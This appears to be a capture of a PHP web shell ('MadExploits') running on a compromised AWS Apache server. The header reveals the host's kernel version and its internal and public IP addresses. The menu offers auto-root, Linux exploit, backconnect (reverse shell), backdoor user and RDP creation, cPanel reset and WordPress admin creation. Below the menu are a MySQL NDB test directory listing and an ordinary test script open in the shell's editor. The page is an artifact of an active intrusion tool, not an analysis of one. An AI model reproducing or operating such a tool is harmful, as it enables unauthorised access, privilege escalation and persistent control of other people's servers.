Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.140.247.39
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
ndb /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
bug36547.test
596
B
-rw-r--r--
clusterj.cnf
169
B
-rw-r--r--
clusterj.test
2.28
KB
-rw-r--r--
clusterj_jpa.test
2.71
KB
-rw-r--r--
disabled.def
1.36
KB
-rw-r--r--
have_ndb_dist_priv.inc
944
B
-rw-r--r--
have_ndb_error_insert.inc
931
B
-rw-r--r--
loaddata_autocom_ndb.test
308
B
-rw-r--r--
ndb_add_partition.cnf
594
B
-rw-r--r--
ndb_add_partition.test
13.3
KB
-rw-r--r--
ndb_addnode.cnf
665
B
-rw-r--r--
ndb_addnode.test
5.12
KB
-rw-r--r--
ndb_addnode_restart.cnf
79
B
-rw-r--r--
ndb_addnode_restart.test
299
B
-rw-r--r--
ndb_addnode_restart2.cnf
79
B
-rw-r--r--
ndb_addnode_restart2.test
465
B
-rw-r--r--
ndb_addnode_withbinlog.cnf
869
B
-rw-r--r--
ndb_addnode_withbinlog.test
1.18
KB
-rw-r--r--
ndb_alter_table.test
18.09
KB
-rw-r--r--
ndb_alter_table2.test
1.52
KB
-rw-r--r--
ndb_alter_table3.test
1.68
KB
-rw-r--r--
ndb_alter_table_backup.test
1.73
KB
-rw-r--r--
ndb_alter_table_dml.test
2.8
KB
-rw-r--r--
ndb_alter_table_error.test
1.15
KB
-rw-r--r--
ndb_alter_table_online.test
24.07
KB
-rw-r--r--
ndb_alter_table_online2.test
6.24
KB
-rw-r--r--
ndb_alter_table_online_multi.t...
2.08
KB
-rw-r--r--
ndb_auto_increment.test
12.89
KB
-rw-r--r--
ndb_autoinc.test
2.05
KB
-rw-r--r--
ndb_backup_rate.cnf
286
B
-rw-r--r--
ndb_backup_rate.test
2.35
KB
-rw-r--r--
ndb_basic.test
21.28
KB
-rw-r--r--
ndb_bitfield.test
6.54
KB
-rw-r--r--
ndb_blob.test
18.61
KB
-rw-r--r--
ndb_blob_big.cnf
380
B
-rw-r--r--
ndb_blob_big.test
1.83
KB
-rw-r--r--
ndb_blob_partition.test
4.49
KB
-rw-r--r--
ndb_bug13563280.test
743
B
-rw-r--r--
ndb_bug14166590.cnf
63
B
-rw-r--r--
ndb_bug14166590.test
1.45
KB
-rw-r--r--
ndb_bug17624736.cnf
110
B
-rw-r--r--
ndb_bug17624736.test
2.15
KB
-rw-r--r--
ndb_bug17719439.cnf
63
B
-rw-r--r--
ndb_bug17719439.test
1.34
KB
-rw-r--r--
ndb_bug19390895.cnf
272
B
-rw-r--r--
ndb_bug19390895.test
1.06
KB
-rw-r--r--
ndb_bug26793.test
1.06
KB
-rw-r--r--
ndb_bug31477.test
2.33
KB
-rw-r--r--
ndb_bulk_delete.test
4.13
KB
-rw-r--r--
ndb_bushy_joins.cnf
476
B
-rw-r--r--
ndb_bushy_joins.test
9.03
KB
-rw-r--r--
ndb_cache.cnf
201
B
-rw-r--r--
ndb_cache.test
8.13
KB
-rw-r--r--
ndb_cache2.cnf
23
B
-rw-r--r--
ndb_cache2.test
11.26
KB
-rw-r--r--
ndb_cache_multi.cnf
23
B
-rw-r--r--
ndb_cache_multi.test
2.09
KB
-rw-r--r--
ndb_cache_multi2.cnf
23
B
-rw-r--r--
ndb_cache_multi2.test
4.5
KB
-rw-r--r--
ndb_cache_trans.cnf
23
B
-rw-r--r--
ndb_cache_trans.test
4.85
KB
-rw-r--r--
ndb_charset.test
6.63
KB
-rw-r--r--
ndb_checksum.cnf
50
B
-rw-r--r--
ndb_checksum.test
77
B
-rw-r--r--
ndb_column_properties.test
4.71
KB
-rw-r--r--
ndb_condition_pushdown.test
85.29
KB
-rw-r--r--
ndb_config.test
4.16
KB
-rw-r--r--
ndb_config2.test
514
B
-rw-r--r--
ndb_create_table.test
1005
B
-rw-r--r--
ndb_cursor.test
1.1
KB
-rw-r--r--
ndb_database.test
3.18
KB
-rw-r--r--
ndb_dbug_lock.test
2.15
KB
-rw-r--r--
ndb_dbug_tc_select.test
4.03
KB
-rw-r--r--
ndb_dbug_tc_select_1.inc
1.83
KB
-rw-r--r--
ndb_dbug_tc_select_2.inc
1.91
KB
-rw-r--r--
ndb_dbug_tc_select_3.inc
2.06
KB
-rw-r--r--
ndb_dd_alter.test
9
KB
-rw-r--r--
ndb_dd_basic.test
20.93
KB
-rw-r--r--
ndb_dd_bug12581213.cnf
111
B
-rw-r--r--
ndb_dd_bug12581213.test
580
B
-rw-r--r--
ndb_dd_ddl.test
8.07
KB
-rw-r--r--
ndb_dd_disk2memory.test
10.4
KB
-rw-r--r--
ndb_dd_dump.test
10.79
KB
-rw-r--r--
ndb_dd_initial_lg.cnf
796
B
-rw-r--r--
ndb_dd_initial_lg.test
1.11
KB
-rw-r--r--
ndb_dd_restore_check_tablespac...
12.25
KB
-rw-r--r--
ndb_dd_restore_compat.test
1.13
KB
-rw-r--r--
ndb_dd_sql_features.test
16.35
KB
-rw-r--r--
ndb_ddl_open_trans.test
3.03
KB
-rw-r--r--
ndb_disconnect_ddl.test
1.52
KB
-rw-r--r--
ndb_discover_db-master.opt
43
B
-rw-r--r--
ndb_discover_db.test
3.41
KB
-rw-r--r--
ndb_dist_priv.test
10.53
KB
-rw-r--r--
ndb_dist_priv_bug_13340854.tes...
1.31
KB
-rw-r--r--
ndb_err4012.test
2.79
KB
-rw-r--r--
ndb_error_reporter.ini
288
B
-rw-r--r--
ndb_error_reporter.test
3.3
KB
-rw-r--r--
ndb_fired_trigger_shortage.cnf
60
B
-rw-r--r--
ndb_fired_trigger_shortage.tes...
1.31
KB
-rw-r--r--
ndb_fk_addnode.cnf
931
B
-rw-r--r--
ndb_fk_addnode.test
2.07
KB
-rw-r--r--
ndb_fk_alter.test
3.95
KB
-rw-r--r--
ndb_fk_bugs.test
20.95
KB
-rw-r--r--
ndb_fk_build.test
2.18
KB
-rw-r--r--
ndb_fk_cascade_delete.test
3.86
KB
-rw-r--r--
ndb_fk_cascade_delete_multi.te...
1.96
KB
-rw-r--r--
ndb_fk_cascade_update.test
1.37
KB
-rw-r--r--
ndb_fk_create_drop.test
2.55
KB
-rw-r--r--
ndb_fk_db.test
2.59
KB
-rw-r--r--
ndb_fk_deferred_cascade.test
2.81
KB
-rw-r--r--
ndb_fk_disable.test
11.61
KB
-rw-r--r--
ndb_fk_is.inc
2.59
KB
-rw-r--r--
ndb_fk_is.test
161
B
-rw-r--r--
ndb_fk_locase.cnf
63
B
-rw-r--r--
ndb_fk_locase.test
1.54
KB
-rw-r--r--
ndb_fk_locking.test
2.1
KB
-rw-r--r--
ndb_fk_multi_column.test
1.5
KB
-rw-r--r--
ndb_fk_mysqldump.test
1.32
KB
-rw-r--r--
ndb_fk_mysqldump2.test
1.76
KB
-rw-r--r--
ndb_fk_no_fk.test
25.97
KB
-rw-r--r--
ndb_fk_no_fk_compat.inc
3.94
KB
-rw-r--r--
ndb_fk_no_fk_legacy.test
112
B
-rw-r--r--
ndb_fk_no_fk_ndb-master.opt
49
B
-rw-r--r--
ndb_fk_no_fk_ndb.test
139
B
-rw-r--r--
ndb_fk_noaction.test
4.78
KB
-rw-r--r--
ndb_fk_resources.cnf
91
B
-rw-r--r--
ndb_fk_resources.test
1.44
KB
-rw-r--r--
ndb_fk_restore.inc
2.9
KB
-rw-r--r--
ndb_fk_restore.test
3.63
KB
-rw-r--r--
ndb_fk_restrict.test
5.19
KB
-rw-r--r--
ndb_fk_self_ref.test
3.85
KB
-rw-r--r--
ndb_fk_setdefault.test
982
B
-rw-r--r--
ndb_fk_setnull.test
2.43
KB
-rw-r--r--
ndb_global_schema_lock.test
3.71
KB
-rw-r--r--
ndb_global_schema_lock_error.t...
1.73
KB
-rw-r--r--
ndb_grant.later
10.98
KB
-rw-r--r--
ndb_hashmap.cnf
61
B
-rw-r--r--
ndb_hashmap.test
821
B
-rw-r--r--
ndb_hidden_pk.test
2.76
KB
-rw-r--r--
ndb_index.test
13.42
KB
-rw-r--r--
ndb_index_ordered.test
15.67
KB
-rw-r--r--
ndb_index_stat.test
11.05
KB
-rw-r--r--
ndb_index_stat_enable.inc
1.18
KB
-rw-r--r--
ndb_index_stat_partitions-mast...
70
B
-rw-r--r--
ndb_index_stat_partitions.test
4.27
KB
-rw-r--r--
ndb_index_stat_restart.test
2.47
KB
-rw-r--r--
ndb_index_unique.test
16.63
KB
-rw-r--r--
ndb_init_schema_locks_count.in...
325
B
-rw-r--r--
ndb_insert.test
37.01
KB
-rw-r--r--
ndb_join_pushdown.inc
131.68
KB
-rw-r--r--
ndb_join_pushdown_bka.test
2.98
KB
-rw-r--r--
ndb_join_pushdown_default.test
356
B
-rw-r--r--
ndb_join_pushdown_nobnl.test
464
B
-rw-r--r--
ndb_join_pushdown_none.test
1.15
KB
-rw-r--r--
ndb_jtie.test
1.17
KB
-rw-r--r--
ndb_limit.test
2.44
KB
-rw-r--r--
ndb_load.test
2.33
KB
-rw-r--r--
ndb_loaddatalocal.test
2.63
KB
-rw-r--r--
ndb_lock.test
5.89
KB
-rw-r--r--
ndb_lock_table.test
494
B
-rw-r--r--
ndb_many_fragments.cnf
433
B
-rw-r--r--
ndb_many_fragments.test
1.91
KB
-rw-r--r--
ndb_mgm.cnf
172
B
-rw-r--r--
ndb_mgm.inc
130
B
-rw-r--r--
ndb_mgm.test
7.38
KB
-rw-r--r--
ndb_mgmd.cnf
99
B
-rw-r--r--
ndb_mgmd.test
637
B
-rw-r--r--
ndb_minmax.test
1.48
KB
-rw-r--r--
ndb_multi.test
11.13
KB
-rw-r--r--
ndb_multi_row.test
1.99
KB
-rw-r--r--
ndb_multi_update_delete.test
2.02
KB
-rw-r--r--
ndb_native_default_support.tes...
27.65
KB
-rw-r--r--
ndb_one_fragment.cnf
443
B
-rw-r--r--
ndb_one_fragment.test
3.14
KB
-rw-r--r--
ndb_optimize_table.test
2.65
KB
-rw-r--r--
ndb_optimized_node_selection.t...
1.09
KB
-rw-r--r--
ndb_partition_error.test
2.04
KB
-rw-r--r--
ndb_partition_error2.test
579
B
-rw-r--r--
ndb_partition_hash.test
1.73
KB
-rw-r--r--
ndb_partition_key.test
7.85
KB
-rw-r--r--
ndb_partition_list.test
2.88
KB
-rw-r--r--
ndb_partition_range.test
8.11
KB
-rw-r--r--
ndb_print_file.test
1.35
KB
-rw-r--r--
ndb_rbwr.inc
2.13
KB
-rw-r--r--
ndb_rbwr.test
11.15
KB
-rw-r--r--
ndb_read_multi_range.test
14.9
KB
-rw-r--r--
ndb_reconnect.test
4.03
KB
-rw-r--r--
ndb_rename.test
1.19
KB
-rw-r--r--
ndb_replace.test
4.34
KB
-rw-r--r--
ndb_restart_nostart.inc
147
B
-rw-r--r--
ndb_restart_start.inc
130
B
-rw-r--r--
ndb_restore_bug17916243.test
1.21
KB
-rw-r--r--
ndb_restore_compat_compression...
46
B
-rw-r--r--
ndb_restore_compat_compression...
799
B
-rw-r--r--
ndb_restore_compat_downward.te...
4.21
KB
-rw-r--r--
ndb_restore_compat_endianness....
6.94
KB
-rw-r--r--
ndb_restore_conv_lossy_charbin...
17.35
KB
-rw-r--r--
ndb_restore_conv_lossy_integra...
23.02
KB
-rw-r--r--
ndb_restore_conv_more.test
20.65
KB
-rw-r--r--
ndb_restore_conv_padding.test
9.58
KB
-rw-r--r--
ndb_restore_conv_promotion.tes...
12.91
KB
-rw-r--r--
ndb_restore_discover.test
1.72
KB
-rw-r--r--
ndb_restore_misc.cnf
147
B
-rw-r--r--
ndb_restore_misc.test
27.44
KB
-rw-r--r--
ndb_restore_print.test
6.98
KB
-rw-r--r--
ndb_restore_schema_blobs.test
4.43
KB
-rw-r--r--
ndb_restore_schema_partitions....
15.04
KB
-rw-r--r--
ndb_restore_schema_rewrites.te...
16.47
KB
-rw-r--r--
ndb_restore_schema_subsets.tes...
11.14
KB
-rw-r--r--
ndb_restore_schema_tolerance.t...
6.72
KB
-rw-r--r--
ndb_restore_undolog.cnf
509
B
-rw-r--r--
ndb_restore_undolog.test
16.89
KB
-rw-r--r--
ndb_row_count.test
3.16
KB
-rw-r--r--
ndb_row_format.test
2.28
KB
-rw-r--r--
ndb_schema_locks_count.inc
308
B
-rw-r--r--
ndb_select_count.test
574
B
-rw-r--r--
ndb_share.cnf
652
B
-rw-r--r--
ndb_share.test
9.86
KB
-rw-r--r--
ndb_short_sigs.cnf
170
B
-rw-r--r--
ndb_short_sigs.test
2.7
KB
-rw-r--r--
ndb_show_tables_result.inc
768
B
-rw-r--r--
ndb_single_user-master.opt
32
B
-rw-r--r--
ndb_single_user.test
4.92
KB
-rw-r--r--
ndb_sp.test
1.09
KB
-rw-r--r--
ndb_spj_dict.test
9.25
KB
-rw-r--r--
ndb_sql_allow_batching.test
1.33
KB
-rw-r--r--
ndb_startup.test
2.01
KB
-rw-r--r--
ndb_statistics.inc
3.31
KB
-rw-r--r--
ndb_statistics0.test
613
B
-rw-r--r--
ndb_statistics1.test
612
B
-rw-r--r--
ndb_subquery.test
7.14
KB
-rw-r--r--
ndb_suma_handover.cnf
324
B
-rw-r--r--
ndb_suma_handover.test
1.62
KB
-rw-r--r--
ndb_temporary.test
1.3
KB
-rw-r--r--
ndb_tmp_table_and_DDL.test
603
B
-rw-r--r--
ndb_transaction.test
5.97
KB
-rw-r--r--
ndb_trigger.test
8.98
KB
-rw-r--r--
ndb_truncate.test
1004
B
-rw-r--r--
ndb_types.test
4.9
KB
-rw-r--r--
ndb_update.test
2.94
KB
-rw-r--r--
ndb_update_no_read.test
17.18
KB
-rw-r--r--
ndb_view.test
817
B
-rw-r--r--
ndb_wait_nostart.inc
103
B
-rw-r--r--
ndb_wait_started.inc
84
B
-rw-r--r--
ndb_wait_until_ready.cnf
544
B
-rw-r--r--
ndb_wait_until_ready.test
4.19
KB
-rw-r--r--
ndb_waiter.inc
148
B
-rw-r--r--
ndb_wl946_create.inc
449
B
-rw-r--r--
ndb_wl946_main.test
7.1
KB
-rw-r--r--
ndb_wl946_main_query.inc
66.38
KB
-rw-r--r--
ndb_wl946_post.test
2.67
KB
-rw-r--r--
ndb_wl946_pre.test
2.67
KB
-rw-r--r--
ndb_wl946_pre_query.inc
589
B
-rw-r--r--
ndb_wl946_select_all.inc
1.41
KB
-rw-r--r--
ndbapi-examples.test
3.29
KB
-rw-r--r--
ndbinfo.test
24.32
KB
-rw-r--r--
ndbinfo_cache.cnf
23
B
-rw-r--r--
ndbinfo_cache.test
882
B
-rw-r--r--
ndbinfo_dump.test
780
B
-rw-r--r--
ndbinfo_upgrade.test
1.15
KB
-rw-r--r--
ps_7ndb.test
1.08
KB
-rw-r--r--
show_attributes.inc
664
B
-rw-r--r--
show_indexes.inc
674
B
-rw-r--r--
show_primary_keys.inc
609
B
-rw-r--r--
show_varpart.inc
762
B
-rw-r--r--
strict_autoinc_5ndb.test
356
B
-rw-r--r--
test_debugger.test
267
B
-rw-r--r--
test_mgm.test
262
B
-rw-r--r--
test_mgmd.cnf
232
B
-rw-r--r--
test_mgmd.test
473
B
-rw-r--r--
test_ndbinfo.test
439
B
-rw-r--r--
wl10837.test
274
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ndb_bushy_joins.test
# The include statement below is a temp one for tests that are yet to #be ported to run with InnoDB, #but needs to be kept for tests that would need MyISAM in future. --source include/force_myisam_default.inc ######################################################## # ndb_bushy_joins.test # # This test is intended to check system behaviour when SPJ # executes large bushy-joins, aka 'star-joins' -> joins with # multiple childs being dependent on the same parent. # # These types of joins has previously caused # job buffer overflow as too many requests was # sent in parallel from the SPJ block. # (bug#14709490) # # '--replace_column 10 ### 11 ###' is used for explains throughout # the test as experience has shown that 'rows' estimates # may vary depending on OS, compiler and .. phase of moon. # ######################################################## --source include/not_embedded.inc --source include/have_ndb.inc --source include/have_multi_ndb.inc connect (ddl,localhost,root,,test); connect (j1,localhost,root,,test); connect (j2,localhost,root,,test); connect (j3,localhost,root,,test); connection ddl; create table parent(a int primary key, b int, c int, d int) engine=ndb; create table eq_child(a int, b int, c int, d int, primary key(a,b)) engine=ndb; create table ref_child(a int, b int, c int, d int, primary key(a,b)) engine=ndb; alter table parent partition by key(a) partitions 32; alter table eq_child partition by key(a) partitions 32; alter table ref_child partition by key(a) partitions 32; insert into parent values (1,1,1,1); let $factor = 1; let $loops = 13; # Fill tables with 2^loops rows while ($loops) { eval insert into parent select a+$factor, b+$factor, c+$factor, d+$factor from parent; let $factor = $factor*2; dec $loops; } select count(*) from parent; insert into eq_child select * from parent; insert into ref_child select * from parent; # Cheat statistics: update rows actually not refered in joins below # (Cheat required in order to make 'ref-joins' bushy) update ref_child set a = a-(a%16) where a > 4000; analyze table parent, eq_child, ref_child; let $query1 = select straight_join count(*) from parent join eq_child as c1 on c1.a = parent.b and c1.b = parent.b join eq_child as c2 on c2.a = parent.b and c2.b = parent.b join eq_child as c3 on c3.a = parent.b and c3.b = parent.b join eq_child as c4 on c4.a = parent.b and c4.b = parent.b join eq_child as c5 on c5.a = parent.b and c5.b = parent.b join eq_child as c6 on c6.a = parent.b and c6.b = parent.b join eq_child as c7 on c7.a = parent.b and c7.b = parent.b join eq_child as c8 on c8.a = parent.b and c8.b = parent.b join eq_child as c9 on c9.a = parent.b and c9.b = parent.b join eq_child as c10 on c10.a = parent.b and c10.b = parent.b join eq_child as c11 on c11.a = parent.b and c11.b = parent.b join eq_child as c12 on c12.a = parent.b and c12.b = parent.b join eq_child as c13 on c13.a = parent.b and c13.b = parent.b join eq_child as c14 on c14.a = parent.b and c14.b = parent.b join eq_child as c15 on c15.a = parent.b and c15.b = parent.b join eq_child as c16 on c16.a = parent.b and c16.b = parent.b ; let $query2 = select straight_join count(*) from parent join eq_child as c1 on c1.a = parent.b and c1.b = parent.b join eq_child as c5 on c5.a = c1.c and c5.b = c1.c join eq_child as c6 on c6.a = c1.c and c6.b = c1.c join eq_child as c7 on c7.a = c1.c and c7.b = c1.c join eq_child as c8 on c8.a = c1.c and c8.b = c1.c join eq_child as c2 on c2.a = parent.b and c2.b = parent.b join eq_child as c9 on c9.a = c2.c and c9.b = c2.c join eq_child as c10 on c10.a = c2.c and c10.b = c2.c join eq_child as c11 on c11.a = c2.c and c11.b = c2.c join eq_child as c12 on c12.a = c2.c and c12.b = c2.c join eq_child as c3 on c3.a = parent.b and c3.b = parent.b join eq_child as c13 on c13.a = c3.c and c13.b = c3.c join eq_child as c14 on c14.a = c3.c and c14.b = c3.c join eq_child as c15 on c15.a = c3.c and c15.b = c3.c join eq_child as c16 on c16.a = c3.c and c16.b = c3.c join eq_child as c4 on c4.a = parent.b and c4.b = parent.b join eq_child as c17 on c17.a = c4.c and c17.b = c4.c join eq_child as c18 on c18.a = c4.c and c18.b = c4.c join eq_child as c19 on c19.a = c4.c and c19.b = c4.c join eq_child as c20 on c20.a = c4.c and c20.b = c4.c ; let $query3 = select straight_join count(*) from parent join ref_child as c1 on c1.a = parent.b join ref_child as c2 on c2.a = parent.b join ref_child as c3 on c3.a = parent.b join ref_child as c4 on c4.a = parent.b join ref_child as c5 on c5.a = parent.b join ref_child as c6 on c6.a = parent.b join ref_child as c7 on c7.a = parent.b join ref_child as c8 on c8.a = parent.b join ref_child as c9 on c9.a = parent.b join ref_child as c10 on c10.a = parent.b join ref_child as c11 on c11.a = parent.b join ref_child as c12 on c12.a = parent.b join ref_child as c13 on c13.a = parent.b join ref_child as c14 on c14.a = parent.b join ref_child as c15 on c15.a = parent.b join ref_child as c16 on c16.a = parent.b where parent.a < 1000 ; let $query4 = select straight_join count(*) from parent join ref_child as c1 on c1.a = parent.b join eq_child as c1eq on c1eq.a = c1.a and c1eq.b = c1.b join ref_child as c2 on c2.a = parent.b join eq_child as c2eq on c2eq.a = c2.a and c2eq.b = c2.b join ref_child as c3 on c3.a = parent.b join eq_child as c3eq on c3eq.a = c3.a and c3eq.b = c3.b join ref_child as c4 on c4.a = parent.b join eq_child as c4eq on c4eq.a = c4.a and c4eq.b = c4.b join ref_child as c5 on c5.a = parent.b join eq_child as c5eq on c5eq.a = c5.a and c5eq.b = c5.b join ref_child as c6 on c6.a = parent.b join eq_child as c6eq on c6eq.a = c6.a and c6eq.b = c6.b join ref_child as c7 on c7.a = parent.b join eq_child as c7eq on c7eq.a = c7.a and c7eq.b = c7.b join ref_child as c8 on c8.a = parent.b join eq_child as c8eq on c8eq.a = c8.a and c8eq.b = c8.b join ref_child as c9 on c9.a = parent.b join eq_child as c9eq on c9eq.a = c9.a and c9eq.b = c9.b join ref_child as c10 on c10.a = parent.b join eq_child as c10eq on c10eq.a = c10.a and c10eq.b = c10.b join ref_child as c11 on c11.a = parent.b join eq_child as c11eq on c11eq.a = c11.a and c11eq.b = c11.b join ref_child as c12 on c12.a = parent.b join eq_child as c12eq on c12eq.a = c12.a and c12eq.b = c12.b join ref_child as c13 on c13.a = parent.b join eq_child as c13eq on c13eq.a = c13.a and c13eq.b = c13.b join ref_child as c14 on c14.a = parent.b join eq_child as c14eq on c14eq.a = c14.a and c14eq.b = c14.b join ref_child as c15 on c15.a = parent.b join eq_child as c15eq on c15eq.a = c15.a and c15eq.b = c15.b join ref_child as c16 on c16.a = parent.b join eq_child as c16eq on c16eq.a = c16.a and c16eq.b = c16.b where parent.a < 1000 ; connection j1; set ndb_join_pushdown = on; call mtr.add_suppression("starting connect thread"); -- echo =============================== -- echo Run single instance of 'query1' -- echo =============================== eval explain $query1; eval $query1; -- echo =============================== -- echo Run single instance of 'query2' -- echo =============================== eval explain $query2; eval $query2; -- echo =============================== -- echo Run single instance of 'query3' -- echo =============================== --replace_column 10 ### 11 ### eval explain $query3; eval $query3; -- echo =============================== -- echo Run single instance of 'query4' -- echo =============================== --replace_column 10 ### 11 ### eval explain $query4; eval $query4; -- echo ================================= -- echo Run multiple 'query1' in parallel -- echo ================================= let $query = $query1; eval explain $query; connection j1; send_eval $query; connection j2; send_eval $query; connection j3; send_eval $query; -- echo Await completion or failure connection j1; reap; connection j2; reap; connection j3; reap; -- echo ================================= -- echo Run multiple 'query2' in parallel -- echo ================================= let $query = $query2; eval explain $query; connection j1; send_eval $query; connection j2; send_eval $query; connection j3; send_eval $query; -- echo Await completion or failure connection j1; reap; connection j2; reap; connection j3; reap; -- echo ================================= -- echo Run multiple 'query3' in parallel -- echo ================================= let $query = $query3; --replace_column 10 ### 11 ### eval explain $query; connection j1; send_eval $query; connection j2; send_eval $query; connection j3; send_eval $query; -- echo Await completion or failure connection j1; reap; connection j2; reap; connection j3; reap; -- echo ================================= -- echo Run multiple 'query4' in parallel -- echo ================================= let $query = $query4; --replace_column 10 ### 11 ### eval explain $query; connection j1; send_eval $query; connection j2; send_eval $query; connection j3; send_eval $query; -- echo Await completion or failure connection j1; reap; connection j2; reap; connection j3; reap; connection ddl; drop table parent, eq_child, ref_child;
Close